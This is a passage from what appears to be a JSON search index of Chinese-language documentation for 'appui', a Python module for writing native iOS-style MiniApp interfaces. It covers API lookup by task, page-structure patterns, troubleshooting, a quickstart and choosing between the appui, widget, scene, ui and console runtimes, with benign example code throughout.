:LazyVGrid、fixed fixed 签名 fixed(size) 参数 参数 类型 说明 `size` `数值` 固定轨道尺寸。 示例 import appui\n\nc = appui.fixed(120)\nassert c[\"type\"] == \"fixed\" 参阅 :LazyVGrid、adaptive adaptive 签名 adaptive(minimum=50, maximum=None) 参数 参数 类型 说明 `minimum` `数值` 每个自适应单元最小宽度。 `maximum` `数值 \\| None` 可选上限。 示例 import appui\n\ncols = [appui.adaptive(minimum=80)]\nprint(len(cols), cols[0][\"type\"]) 参阅 :LazyVGrid、flexible grid_item 签名 grid_item(type='flexible', minimum=None, maximum=None, count=None) 参数 参数 类型 说明 `type` `str` 轨道类型:`'flexible'`、`'fixed'`、`'adaptive'`。 `minimum` `数值 \\| None` 轨道最小尺寸。 `maximum` `数值 \\| None` 轨道最大尺寸;`None` 表示不限制。 `count` `int \\| None` 用于 `adaptive` 类型时的列数提示。 用途 通用网格轨道描述函数,返回 dict;与 flexible、fixed、adaptive 功能等价,适合动态生成列/行描述。 import appui\n\ncols = [appui.grid_item('flexible', minimum=60), appui.grid_item('fixed', minimum=44)]\nprint(cols)" + }, + { + "id": "miniapp-appui-api-index", + "title": "AppUI API 地图", + "subtitle": "按任务选择入口、状态、布局、控件、导航、媒体和图表 API。", + "section": "appui / 开始", + "url": "pages/miniapp-appui-api-index/", + "text": "AppUI API 地图 按任务选择入口、状态、布局、控件、导航、媒体和图表 API。 appui 开始 appui API Reference appui api api 速查 NavigationPath NavigationSplitView ScrollViewReader TextField SecureField TextEditor SearchField Button Toggle Slider Picker DatePicker PhotoPicker CameraPicker MapView VideoPlayer WebView AsyncImage Chart Canvas Path Popover Alert ConfirmationDialog Refreshable SafeAreaInset SwipeActions Table Grid ShareLink AppUI API 地图 这页按任务组织 AppUI API。还没确定页面结构时,先看 AppUI UI 模式。 最小正确组合 import appui\n\nstate = appui.State(name=\"MiniApp\", enabled=True, saved=False)\n\n\ndef set_name(value):\n state.batch_update(name=value, saved=False)\n\n\ndef set_enabled(value):\n state.batch_update(enabled=value, saved=False)\n\n\ndef save():\n state.saved = bool(state.name.strip())\n\n\ndef body():\n footer = \"Saved\" if state.saved else \"Edit values and tap Save\"\n form = appui.Form([\n appui.Section(\"Controls\", [\n appui.TextField(\"Name\", text=state.name, on_change=set_name),\n appui.Toggle(\"Enabled\", is_on=state.enabled, on_change=set_enabled),\n ]),\n appui.Section(\"Output\", [\n appui.LabeledContent(\"Name\", value=state.name or \"Missing\"),\n appui.LabeledContent(\"Enabled\", value=str(state.enabled)),\n ], footer=footer),\n ]).navigation_title(\"API 地图\")\n\n return appui.NavigationStack(\n form.toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Button(\"Save\", action=save)\n .button_style(\"bordered_prominent\"),\n )\n ])\n )\n\n\nappui.run(body, state=state) 预期效果:页面显示输入、开关、输出和导航栏保存按钮;修改后点击 Save 会更新保存状态。 按任务查 API 任务 首选 API 继续阅读 启动 MiniApp `appui.run` [函数参考](appui-ref-functions.md) 控制呈现方式 `appui.run(..., presentation=...)` [函数参考](appui-ref-functions.md) 程序化弹层 `presentation_present` / `presentation_dismiss` [呈现 API](appui-ref-presentation.md) 保存普通界面状态 `State` [状态管理](appui-guide-state.md) 多字段一起更新 `state.batch_update(...)` [状态管理](appui-guide-state.md) 高频局部刷新 `ReactiveState` [性能与实时界面](appui-guide-performance.md) 派生数据 `computed` [状态管理](appui-guide-state.md) 状态变化后的副作用 `effect` [状态管理](appui-guide-state.md) 双向绑定 `bind` [函数参考](appui-ref-functions.md) 输入设置项 `Form + Section` [布局系统](appui-guide-layout.md) 动态列表 `List + ForEach` [布局系统](appui-guide-layout.md) 列表进详情 `NavigationStack + NavigationLink` [导航与页面结构](appui-guide-navigation.md) 程序化跳转 `NavigationPath + destinations` [导航与页面结构](appui-guide-navigation.md) 多主分区 `TabView + Tab` [导航与页面结构](appui-guide-navigation.md) 底部状态条展开面板 `.tab_view_bottom_accessory` + `.sheet` [导航参考](appui-ref-navigation.md#底部附件与原生-sheet) 导航栏按钮 `ToolbarItem` [导航参考](appui-ref-navigation.md) 临时弹层 `.sheet` / `.popover` [呈现 API](appui-ref-presentation.md) 确认和错误提示 `.alert` / `.confirmation_dialog` [呈现 API](appui-ref-presentation.md) 搜索和刷新 `.searchable` / `.refreshable` [交互与回调](appui-guide-interaction.md) 空状态 `ContentUnavailableView` [数据展示](appui-ref-data.md) 加载状态 `ProgressView` [数据展示](appui-ref-data.md) 输入控件 `TextField`、`SecureField`、`TextEditor` [控件 API](appui-ref-controls.md) 选择控件 `Toggle`、`Picker`、`Slider`、`Stepper` [控件 API](appui-ref-controls.md) 媒体和文件 `PhotoPicker`、`CameraPicker`、`FileImporter` [媒体 API](appui-ref-media.md) 地图、网页、视频 `MapView`、`WebView`、`VideoPlayer` [媒体 API](appui-ref-media.md) 图表和绘制 `Chart`、`Canvas`、`DrawingContext`、`Path` [图表 API](appui-ref-charts.md) 行为契约 API 保证 注意 `appui.run(...)` 启动当前 MiniApp 页面。 一个脚本只保留一个最终入口。 `State` 字段变化后页面重建。 多字段同时更新用 `batch_update(...)`。 `Button(action=...)` 点击后执行命名回调。 不要写 `action=save()`。 `TextField(on_change=...)` 输入变化时把新值交给回调。 回调要写回 `State`。 `ForEach(..., key=...)` 维护动态行身份。 key 必须来自稳定业务 id。 `NavigationLink` 打开目标详情页。 目标页用函数返回 View,避免把复杂逻辑塞进行内。 `.tab_view_bottom_accessory(...)` + `.sheet(...)` 底部常驻 compact 视图点击后打开原生 sheet。 适合播放、下载、录音、导航等持续任务;紧凑条负责常驻状态,完整面板交给系统 sheet 处理下拉关闭、圆角和拖拽手感。 `.sheet(...)` / `.alert(...)` 展示临时页面或提示。 `is_presented` 要由状态控制。 `PhotoPicker` / `FileImporter` 触发系统选择流程。 处理用户取消、权限拒绝和空结果。 选择顺序 先选容器:NavigationStack、TabView、List、Form、ScrollView。 再选数据流:State、ReactiveState、bind、computed、Timer。 再选控件:输入、选择、按钮、工具栏、弹层。 再选状态反馈:空状态、加载、错误、保存成功、权限拒绝。 最后选视觉:字体、颜色、边距、背景、图表或媒体。 失败路径 API 名不确定:先按任务查本页,再进入对应 appui ref 。 按钮没反应:确认 Button(action=...) 传入命名函数。 输入不更新:确认 on_change 写回 State。 列表错乱:确认 ForEach 使用稳定 key。 页面空白:确认 body() 返回 View,appui.run(...) 在脚本末尾调用。 相关文档 文档 用途 [快速上手](appui-quickstart.md) 跑通第一个 MiniApp。 [运行时选择](miniapp-choose-runtime.md) 判断是否应该使用 AppUI。 [AppUI UI 模式](miniapp-appui-ui-patterns.md) 选择页面结构。 [MiniApp 开发排错](miniapp-dev-troubleshooting.md) 排查入口、状态、布局和系统能力。" + }, + { + "id": "miniapp-appui-ui-patterns", + "title": "AppUI UI 模式", + "subtitle": "按页面类型选择 Form、List、NavigationStack、TabView 和媒体承载。", + "section": "appui / 开始", + "url": "pages/miniapp-appui-ui-patterns/", + "text": "AppUI UI 模式 按页面类型选择 Form、List、NavigationStack、TabView 和媒体承载。 appui 开始 appui UI Layout appui ui 布局模式 表单 列表 导航 dashboard NavigationPath NavigationSplitView ScrollViewReader TextField SecureField TextEditor SearchField Button Toggle Slider Picker DatePicker PhotoPicker CameraPicker MapView VideoPlayer WebView AsyncImage Chart Canvas Path Popover Alert ConfirmationDialog Refreshable SafeAreaInset SwipeActions Table Grid ShareLink AppUI UI 模式 这篇文档帮你先选对页面结构,再进入具体 API。已经知道 API 名时,直接查 AppUI API 地图。 先记住 4 条规则 先定页面结构,再定控件。 设置和编辑优先 Form + Section,动态数据优先 List + ForEach。 多页面优先 NavigationStack + NavigationLink,主分区优先 TabView + Tab。 默认使用原生结构;只有视频、地图、WebView、相机、Chart、Canvas、游戏化首屏这类场景才使用自定义承载。 最小模式示例 import appui\n\nitems = [\n {\"id\": \"inbox\", \"title\": \"收件箱\", \"count\": 12},\n {\"id\": \"today\", \"title\": \"今日任务\", \"count\": 5},\n {\"id\": \"done\", \"title\": \"已完成\", \"count\": 32},\n]\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef detail_view(item):\n return appui.Form([\n appui.Section(item[\"title\"], [\n appui.LabeledContent(\"Count\", value=str(item[\"count\"])),\n ])\n ]).navigation_title(item[\"title\"])\n\n\ndef row_view(item):\n return appui.NavigationLink(\n destination=detail_view(item),\n label=appui.HStack([\n appui.Text(item[\"title\"])\n .frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Text(str(item[\"count\"])).foreground_color(\"secondaryLabel\"),\n ]),\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"分区\", [\n appui.ForEach(items, row_builder=row_view, key=item_key),\n ]),\n ]).navigation_title(\"UI 模式\")\n )\n\n\nappui.run(body) 预期效果:列表显示三个分区,点击任一行进入对应详情页。 按页面选择结构 页面类型 推荐结构 适合 单页工具 `NavigationStack + VStack` 计算器、转换器、小查询页 设置页 `NavigationStack + Form + Section` 开关、输入、选择器、账号配置 列表页 `NavigationStack + List + ForEach` 任务、笔记、记录、搜索结果 列表详情 `NavigationStack + NavigationLink` 课程、商品、文档、条目详情 多主分区 `TabView + Tab` 首页、记录、设置、统计 底部常驻状态条 `TabView + .tab_view_bottom_accessory + .sheet` 音乐、播客、下载、录音、导航 仪表盘 `ScrollView + LazyVGrid + Chart` KPI、日报、趋势图、监控 媒体页 `VideoPlayer` / `MapView` / `WebView` 视频、地图、网页和富内容 自定义绘制 `Canvas + DrawingContext + Path` 轻量绘图、签名板、图形面板 高频能力入口 能力 常见场景 继续阅读 `NavigationStack` 页面 push、详情页、设置页 [导航与页面结构](appui-guide-navigation.md) `NavigationLink` 列表进详情、设置项进入子页 [导航与页面结构](appui-guide-navigation.md) `NavigationPath` 程序化跳转、返回、带参数详情 [导航与页面结构](appui-guide-navigation.md) `TabView` / `Tab` 首页、记录、设置等主分区 [导航与页面结构](appui-guide-navigation.md) `.tab_view_bottom_accessory` + `.sheet` 底部状态条点击后打开原生面板 [导航参考](appui-ref-navigation.md#底部附件与原生-sheet) `Form` / `Section` 设置、资料编辑、筛选条件 [布局系统](appui-guide-layout.md) `TextField` / `SecureField` 单行输入、密码、API Key [控件 API](appui-ref-controls.md) `Toggle` / `Picker` / `Slider` 开关、模式、连续数值 [控件 API](appui-ref-controls.md) `List` / `ForEach` 动态行、分组数据、原生列表 [布局系统](appui-guide-layout.md) `ContentUnavailableView` 空状态、无结果、无权限提示 [数据展示](appui-ref-data.md) `.searchable` / `.refreshable` 搜索过滤、下拉刷新 [交互与回调](appui-guide-interaction.md) `PhotoPicker` / `FileImporter` 选图、导入 PDF/CSV/文本 [媒体与系统集成](appui-guide-media.md) `CameraPicker` / `MapView` / `WebView` 拍照、地图、网页 [媒体与系统集成](appui-guide-media.md) `Chart` / `Canvas` / `Path` 数据看板、自定义绘制 [图表与绘图](appui-guide-charts.md) `VideoPlayer` / `AsyncImage` 视频播放、远程封面 [媒体与系统集成](appui-guide-media.md) 反模式速查 不要用一个巨大 VStack 承载整页;内容会变多时用 List、Form 或 ScrollView。 不要在 List 行里放复杂媒体承载;视频、地图、WebView 应该放在稳定页面区域。 不要把所有编辑逻辑塞进列表行;详情页或表单页负责局部编辑。 不要把全局播放、下载、录音状态硬塞成一个独立 Tab;需要常驻底部状态时用 .tab_view_bottom_accessory 显示紧凑条,再用 .sheet 展开详情。 不要用颜色硬模拟主题;优先使用 systemBackground、label、secondaryLabel。 不要把网络、权限、文件写入 body();放到按钮、刷新或明确加载动作。 需求描述模板 描述一个 AppUI MiniApp 时,最好一次说清: 这是一个 appui MiniApp。 有几个页面,每页负责什么。 每页是列表、表单、详情、仪表盘还是媒体页。 需要哪些状态、空态、错误态和加载态。 需要哪些系统能力、权限、保存或导出路径。 失败路径 页面越来越乱:先回到“按页面选择结构”,不要先堆控件。 设置页不像原生:改成 Form + Section。 列表搜索后错行:给 ForEach 提供稳定业务 key。 动画或媒体卡顿:确认是否应该用 scene、VideoPlayer、Canvas 或专门媒体区域。 API 参考 按任务查 API 见 AppUI API 地图。需要判断运行时时,先看 运行时选择。 相关文档 文档 用途 [快速上手](appui-quickstart.md) 四个可预览示例串起最小闭环。 [AppUI API 地图](miniapp-appui-api-index.md) 按任务查 30 项高频 API。 [原生能力入口](miniapp-native-capabilities.md) AppUI 页面里调用 iOS 原生模块。 [开发排错](miniapp-dev-troubleshooting.md) 空白页、按钮无效、输入不更新等问题。" + }, + { + "id": "miniapp-dev-troubleshooting", + "title": "MiniApp 开发排错", + "subtitle": "排查入口、状态、按钮、输入、列表、布局和系统能力问题。", + "section": "appui / 开始", + "url": "pages/miniapp-dev-troubleshooting/", + "text": "MiniApp 开发排错 排查入口、状态、按钮、输入、列表、布局和系统能力问题。 appui 开始 Debug Troubleshooting miniapp 开发排错 运行时失配 参数错误 布局异常 API 参数错误 交互无响应 MiniApp 开发排错 排错先看运行时是否选对,再看入口是否完整,最后查状态、交互、布局和系统能力。不要只确认“预览能打开”,还要确认按钮、输入、搜索、刷新和弹层都能产生可见变化。 最小健康样例 import appui\n\nstate = appui.State(saved=False)\n\n\ndef save():\n state.saved = True\n\n\ndef body():\n label = \"Saved\" if state.saved else \"Not saved\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Action\", [\n appui.LabeledContent(\"Status\", value=label),\n appui.Button(\"Save\", action=save)\n .button_style(\"bordered_prominent\"),\n ])\n ]).navigation_title(\"排错\")\n )\n\n\nappui.run(body, state=state) 预期效果:页面显示保存状态,点击 Save 后状态从 Not saved 变成 Saved。 快速定位 现象 先查 继续看 预览打不开 `import appui`、`body()`、`appui.run(...)` [快速上手](appui-quickstart.md) 点按钮没反应 `action` 是否传函数本身 [AppUI API 地图](miniapp-appui-api-index.md) 输入不更新 `on_change` 是否写回 `State` [状态管理](appui-guide-state.md) 列表刷新错乱 `ForEach` 是否有稳定 `key` [布局系统](appui-guide-layout.md) 页面不像原生 App 是否使用 `List`、`Form`、`NavigationStack` [AppUI UI 模式](miniapp-appui-ui-patterns.md) 高频刷新卡顿 `Timer` 是否在 `body()` 外创建 [性能与实时界面](appui-guide-performance.md) 权限或系统能力失败 是否处理拒绝、取消和不可用 [原生能力入口](miniapp-native-capabilities.md) 正确的按钮写法 def save():\n state.saved = True\n\n\nappui.Button(\"Save\", action=save) 不要这样写: appui.Button(\"Save\", action=save()) save() 会在构建页面时立刻执行,按钮拿不到正确回调。 正确的列表写法 def row_key(row):\n return row[\"id\"]\n\n\ndef row_view(row):\n return appui.Text(row[\"title\"])\n\n\nappui.ForEach(rows, row_builder=row_view, key=row_key) 不要把筛选后的 index 当 key。删除、重排、搜索后 index 会变化,行状态可能错位。 运行前检查 完整示例应该能独立复制运行,入口只保留一次 appui.run(...)。 按钮、输入、搜索、刷新和弹层都应该有可见状态变化。 动态列表必须有稳定 key,删除、搜索、重排后不能错行。 涉及相册、相机、定位、通知、健康数据等能力时,要处理权限拒绝、用户取消和设备不可用。 网络、文件、权限请求不要直接写在 body() 里,放到按钮、刷新或明确的加载动作中。 失败时保留旧数据或显示空状态,不要让页面静默空白。 失败路径 空白:先跑本页“最小健康样例”。如果它能显示,问题通常在你的状态、资源、权限或页面结构中。 交互无效:确认回调是命名函数,并且回调里修改了 State。 输入无法保存:确认 on_change 接收新值,保存按钮读取的是同一个 State。 列表错行:确认每个数据项有稳定 id,并传给 ForEach(..., key=...)。 页面结构失控:回到 AppUI UI 模式,先确定页面类型。 相关文档 文档 用途 [运行时选择](miniapp-choose-runtime.md) 判断 AppUI、widget、ui、scene 和 console。 [快速上手](appui-quickstart.md) 用四个可预览示例掌握入口、状态、表单和导航。 [AppUI UI 模式](miniapp-appui-ui-patterns.md) 常见页面结构和反模式。 [AppUI API 地图](miniapp-appui-api-index.md) 按任务查 API。 [原生能力入口](miniapp-native-capabilities.md) 系统能力、权限和失败路径。" + }, + { + "id": "appui-module", + "title": "appui 概览", + "subtitle": "用 Python 编写原生 MiniApp 页面、状态、导航和交互。", + "section": "appui / 开始", + "url": "pages/appui-module/", + "text": "appui 概览 用 Python 编写原生 MiniApp 页面、状态、导航和交互。 appui 开始 appui native-ui miniapp appui 声明式 原生界面 MiniApp 预览 State NavigationStack Form appui appui 是 PythonIDE 用来编写原生 MiniApp 界面的模块。你用 Python 描述页面结构、状态和交互,PythonIDE 负责把它显示成 iOS 风格的表单、列表、导航、弹层、媒体和图表界面。 最小脚本 import appui\n\nstate = appui.State(count=0)\n\n\ndef add_one():\n state.count += 1\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"计数器\", [\n appui.LabeledContent(\"当前值\", value=str(state.count)),\n appui.Button(\"加 1\", action=add_one)\n .button_style(\"bordered_prominent\"),\n ])\n ]).navigation_title(\"AppUI\")\n )\n\n\nappui.run(body, state=state) 预期效果:预览打开一个原生表单页面,点击按钮后当前值立即更新。 先选写法 目标 推荐看 第一次写 MiniApp [快速上手](appui-quickstart.md) 判断该用 AppUI、widget、ui 还是 scene [运行时选择](miniapp-choose-runtime.md) 选择页面结构 [AppUI UI 模式](miniapp-appui-ui-patterns.md) 按任务查 API [AppUI API 地图](miniapp-appui-api-index.md) 排查空白、按钮、输入、列表和权限问题 [MiniApp 开发排错](miniapp-dev-troubleshooting.md) 查完整函数和组件 [函数参考](appui-ref-functions.md) 写 AppUI 的心智模型 入口:脚本末尾调用一次 appui.run(body, state=state)。 页面:body() 或 body(view_state) 返回一个 AppUI View。 状态:State 保存普通界面数据,ReactiveState 只用于高频变化。 绑定:Binding / bind() / State.bind() 适合输入控件和状态双向连接。 结构:设置页用 Form + Section,列表页用 List + ForEach,多页面用 NavigationStack 或 TabView。 交互:按钮、输入、搜索、刷新和弹层使用命名回调修改状态。 副作用:联网、文件、权限、通知和耗时任务不要写在 body() 里。 适用场景 需求 首选 表单、设置、列表、详情、工具页 `appui` 多页面 MiniApp、Tab、弹层、搜索、刷新 `appui` 图表、媒体、地图、WebView 和系统能力入口 `appui` + 对应模块 主屏、锁屏、StandBy 小组件 `widget` Sprite、碰撞、逐帧绘制、小游戏 `scene` Pythonista 兼容的命令式界面脚本 `ui` 纯输出、批处理、日志转换 普通 Python / `console` 行为契约 API 保证 注意 `appui.run(...)` 启动一个 MiniApp 预览或页面。 放在脚本末尾,一个脚本只保留一个入口。 `appui.run(..., presentation=...)` 控制界面呈现方式。 可选 `'sheet'`(默认)、`'fullscreen'`、`'fullscreen_with_close'`。 `State` 字段变化后触发页面重建。 多字段同时更新优先用 `batch_update(...)`。 `ReactiveState` 适合高频数据更新。 普通表单和列表不要默认使用。 `body()` 描述当前界面。 不要在里面发请求、申请权限、写文件或修改状态。 `Button(action=...)` 点击后执行命名回调。 传函数本身,不要写 `action=save()`。 `ForEach(..., key=...)` 用稳定 key 维护动态行身份。 不要把可变化的 index 当 key。 API 参考 分类 文档 函数与入口 [函数参考](appui-ref-functions.md) 状态与绑定 [状态 API](appui-ref-state.md) 布局容器 [布局 API](appui-ref-layout.md) 控件 [控件参考](appui-ref-controls.md) 导航 [导航参考](appui-ref-navigation.md) 呈现和数据展示 [呈现参考](appui-ref-presentation.md)、[数据展示](appui-ref-data.md) 修饰符 [修饰符参考](appui-ref-modifiers.md) 图表、媒体、地图、形状 [图表](appui-ref-charts.md)、[媒体](appui-ref-media.md)、[形状](appui-ref-shapes.md) 失败路径 预览空白:确认 body() 返回 AppUI View,脚本末尾调用了 appui.run(...)。 按钮没反应:确认 action 传入命名函数,而不是函数调用结果。 输入不更新:确认 on_change 接收新值并写回 State。 列表错行:确认 ForEach 使用稳定 key。 页面不像原生设置:设置页优先用 Form + Section,不要用一组自绘卡片模拟。 权限或网络反复弹出:确认副作用没有写进 body()。 模块兼容性 appui 与 ui 有 View、Button、TextField、Slider、Image、ScrollView 等同名类/函数,但语义不同。不要在同一文件中同时 from appui import 和 from ui import 。 appui 与 scene 只有 run 这个入口名容易混淆。混用时用模块名限定调用:appui.run(body) / scene.run(MyScene())。" + }, + { + "id": "appui-quickstart", + "title": "快速上手", + "subtitle": "用四个可预览示例掌握 body、State、控件和导航。", + "section": "appui / 开始", + "url": "pages/appui-quickstart/", + "text": "快速上手 用四个可预览示例掌握 body、State、控件和导航。 appui 开始 appui quickstart preview 快速上手 hello state button tabview previewAppUI 快速上手 这篇教程用四个可预览示例串起 AppUI 的最小闭环:显示页面、修改状态、编辑表单、列表进详情。每段都可以直接运行。 1. Hello World 先让原生页面出现。body() 返回一个 View,脚本末尾调用 appui.run(body)。 import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(\"Hello AppUI\").font(\"title2\").bold(),\n appui.Text(\"用 Python 编写原生 MiniApp 界面\")\n .foreground_color(\"secondaryLabel\"),\n ], spacing=8)\n .padding()\n .navigation_title(\"Hello\")\n )\n\n\nappui.run(body) 预期效果:预览显示一个带导航标题的原生页面,页面中有标题和说明文字。 2. State 和按钮 用 State 保存页面数据。按钮回调修改状态后,页面会用新状态重建。 import appui\n\nstate = appui.State(count=0, message=\"Ready\")\n\n\ndef decrease():\n state.batch_update(count=state.count - 1, message=\"Decreased\")\n\n\ndef increase():\n state.batch_update(count=state.count + 1, message=\"Increased\")\n\n\ndef body(view_state):\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(f\"当前计数:{view_state.count}\").font(\"title3\"),\n appui.HStack([\n appui.Button(\"-1\", action=decrease).button_style(\"bordered\"),\n appui.Button(\"+1\", action=increase)\n .button_style(\"bordered_prominent\"),\n ], spacing=12),\n appui.Text(view_state.message)\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\"),\n ], spacing=16)\n .padding()\n .navigation_title(\"状态\")\n )\n\n\nappui.run(body, state=state) 预期效果:点击 +1 或 1 后计数和状态文案同步变化。 3. 表单控件 设置页和编辑页优先使用 Form + Section。输入控件通过 on_change 写回 State。 import appui\n\nstate = appui.State(name=\"Ada\", enabled=False, volume=40.0, saved=False)\n\n\ndef set_name(value):\n state.batch_update(name=value, saved=False)\n\n\ndef set_enabled(value):\n state.batch_update(enabled=value, saved=False)\n\n\ndef set_volume(value):\n state.batch_update(volume=value, saved=False)\n\n\ndef save():\n state.saved = bool(state.name.strip())\n\n\ndef body():\n footer = \"已保存\" if state.saved else \"修改后点击保存\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"资料\", [\n appui.TextField(\"姓名\", text=state.name, on_change=set_name),\n appui.Toggle(\"启用提醒\", is_on=state.enabled, on_change=set_enabled),\n appui.Slider(\n value=state.volume,\n minimum=0,\n maximum=100,\n on_change=set_volume,\n ),\n ], footer=footer),\n appui.Section(\"操作\", [\n appui.Button(\"保存\", action=save)\n .button_style(\"bordered_prominent\"),\n ]),\n ]).navigation_title(\"表单\")\n )\n\n\nappui.run(body, state=state) 预期效果:修改文本、开关或滑块后页面保持响应;点击保存后底部文案变为“已保存”。 4. 导航和列表 多页面 MiniApp 通常用 NavigationStack 包根页面,列表进详情用 NavigationLink。动态行必须有稳定 key。 import appui\n\nitems = [\n {\"id\": \"docs\", \"title\": \"文档\", \"subtitle\": \"Guide\"},\n {\"id\": \"api\", \"title\": \"API\", \"subtitle\": \"Reference\"},\n {\"id\": \"demo\", \"title\": \"示例\", \"subtitle\": \"Cookbook\"},\n]\n\nstate = appui.State(last_opened=\"None\")\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef mark_opened(item):\n state.last_opened = item[\"title\"]\n\n\ndef detail_view(item):\n def open_current():\n mark_opened(item)\n\n return appui.Form([\n appui.Section(\"详情\", [\n appui.LabeledContent(\"标题\", value=item[\"title\"]),\n appui.LabeledContent(\"类型\", value=item[\"subtitle\"]),\n appui.Button(\"标记打开\", action=open_current),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"Last opened\", value=state.last_opened),\n ]),\n ]).navigation_title(item[\"title\"])\n\n\ndef row_view(item):\n label = appui.HStack([\n appui.Text(item[\"title\"])\n .frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Text(item[\"subtitle\"]).foreground_color(\"secondaryLabel\"),\n ])\n return appui.NavigationLink(destination=detail_view(item), label=label)\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"入口\", [\n appui.ForEach(items, row_builder=row_view, key=item_key),\n ])\n ]).navigation_title(\"列表\")\n )\n\n\nappui.run(body, state=state) 预期效果:列表显示三行入口,点击任一行进入详情页;详情页按钮会更新打开状态。 发布前检查 检查项 合格标准 入口 脚本末尾只调用一次 `appui.run(...)` 呈现 默认 `presentation='sheet'`;全屏可用 `'fullscreen'` 或 `'fullscreen_with_close'` 页面 `body()` 或 `body(state)` 返回 AppUI View 状态 回调修改 `State`,多字段更新用 `batch_update(...)` 按钮 `action` 传命名函数,不写 `action=save()` 输入 `on_change` 接收新值并写回 `State` 列表 `ForEach` 使用稳定 `key` 失败路径 预览空白:确认 body() 返回 View,且脚本末尾调用了 appui.run(...)。 按钮没反应:确认 action 传函数本身,而不是函数调用结果。 输入不更新:确认 on_change 的参数名接收新值,并写回 State。 列表详情错乱:确认 ForEach 使用稳定业务 id,不使用会变化的 index。 页面越来越难维护:回到 AppUI UI 模式,先选页面结构。 API 参考 继续查 AppUI API 地图。需要判断该用哪个运行时时,先看 运行时选择。" + }, + { + "id": "miniapp-choose-runtime", + "title": "运行时选择", + "subtitle": "判断该用 appui、widget、ui、scene 还是 console。", + "section": "appui / 开始", + "url": "pages/miniapp-choose-runtime/", + "text": "运行时选择 判断该用 appui、widget、ui、scene 还是 console。 appui 开始 Runtime Decision 运行时 appui scene console web 怎么选 表单 导航 媒体 图表 运行时选择 MiniApp 先选运行时,再写代码。运行时选错会让布局难维护、交互不可用、系统能力接不上。 默认判断 大多数“像 App 一样能点、能输入、能保存状态”的需求,默认选 appui。只有当需求明确是小组件、游戏绘制、Pythonista 兼容 UI 或纯输出脚本时,才换运行时。 决策表 需求 首选运行时 不建议 原生表单、列表、导航、设置页、工具页 `appui` 用 HTML 模拟 iOS 设置页 主屏、锁屏、StandBy 小组件 `widget` 用 AppUI 写桌面 Widget 命令输出、批处理、日志 `console` 为纯输出脚本硬做 UI 绘制、小游戏、精灵、连续触摸 `scene` 用 AppUI 手写游戏循环 Pythonista 兼容的命令式界面脚本 `ui` 和 `appui` 混用通配导入 已有 Web 页面或必须使用 DOM/CSS/JS HTML / `WebView` 为普通工具页引入 Web 结构 相机、定位、通知、存储等系统能力 `appui` + 对应模块 在 Web 页面里绕过原生能力 AppUI 骨架 import appui\n\nstate = appui.State(status=\"Ready\")\n\n\ndef run_action():\n state.status = \"Action completed\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"MiniApp\", [\n appui.LabeledContent(\"Runtime\", value=\"appui\"),\n appui.LabeledContent(\"Status\", value=state.status),\n appui.Button(\"Run\", action=run_action)\n .button_style(\"bordered_prominent\"),\n ])\n ]).navigation_title(\"运行时\")\n )\n\n\nappui.run(body, state=state) 预期效果:预览显示一个原生表单页面,点击 Run 后状态变为 Action completed。 不同运行时的边界 widget 用于主屏、锁屏和 StandBy 小组件。它没有普通页面输入和长列表交互,适合信息展示、参数配置、时间线刷新和受控桌面按钮。 console 用于一次性脚本、批处理、日志输出和转换任务。用户只需要看输出时,不要硬做 AppUI。 scene 用于持续绘制、游戏、精灵、物理和触摸循环。它不是设置页、列表页或表单页的替代品。 ui 用于 Pythonista 兼容的命令式界面脚本。新 MiniApp 默认不要从 ui 开始;需要原生 App 风格页面时用 appui。 HTML / WebView 用于已有 Web 页面、必须复用 DOM/CSS/JS 的内容,或需要展示外部网页。普通 iOS 风格工具页不建议用 Web 结构模拟。 选择规则 不确定时先选 appui,因为它覆盖表单、列表、导航、设置和大多数工具页。 用户要求“桌面小组件、主屏卡片、锁屏信息”,选 widget。 用户要求“小游戏、画布、碰撞、持续动画”,选 scene。 只有输出、批处理或转换任务时,选 console。 需要设备能力时,先查 原生能力入口。 失败路径 页面像网页而不是原生 App:回到 appui,使用 NavigationStack、Form、List。 小组件脚本无法输入文字:这是 widget 的边界;需要输入时做 AppUI 页面。 动画不连续:AppUI 适合界面状态动画;游戏循环和持续绘制交给 scene。 命令脚本维护成本变高:如果只是输出文本,保持 console,不要额外做页面。 相关文档 文档 用途 [快速上手](appui-quickstart.md) 跑通第一个 AppUI MiniApp。 [AppUI UI 模式](miniapp-appui-ui-patterns.md) 选择页面结构和常见模式。 [AppUI API 地图](miniapp-appui-api-index.md) 按任务查 API。 [MiniApp 开发排错](miniapp-dev-troubleshooting.md) 排查入口、状态、布局和系统能力。" + }, + { + "id": "appui-guide-thinking", + "title": "appui 思维方式", + "subtitle": "从命令式 UI 切到 State 驱动的声明式 View 树。", + "section": "appui / 指南", + "url": "pages/appui-guide-thinking/", + "text": "appui 思维方式 从命令式 UI 切到 State 驱动的声明式 View 树。 appui 指南 appui concept state 思维方式 声明式 State body View appui 思维方式 appui 的核心规则很简单:body() 返回一棵 View 树,状态变化后重新计算这棵树。不要手动创建、保存、移动原生控件;只描述当前状态下界面应该是什么样。 预期效果 运行示例后会看到计数、登录分支和导航路径随状态变化即时刷新,页面代码始终只描述当前 View 树。 先记住这 4 条 规则 含义 View 是描述 `Text`、`Button`、`VStack` 只是声明界面结构。 State 是事实源 用户输入、选择、列表数据放进 `State` / `ReactiveState`。 body 要可重复执行 `body()` 里不要写网络请求、文件写入、定时器创建等副作用。 修饰符有顺序 `.padding().background()` 和 `.background().padding()` 的视觉结果不同。 从命令式切到声明式 命令式 UI 常见写法是“找到控件,然后改它”。appui 的写法是“改状态,然后让界面重新声明”。 import appui\n\nstate = appui.State(count=0)\n\n\ndef increment():\n state.count += 1\n\n\ndef body():\n return appui.VStack([\n 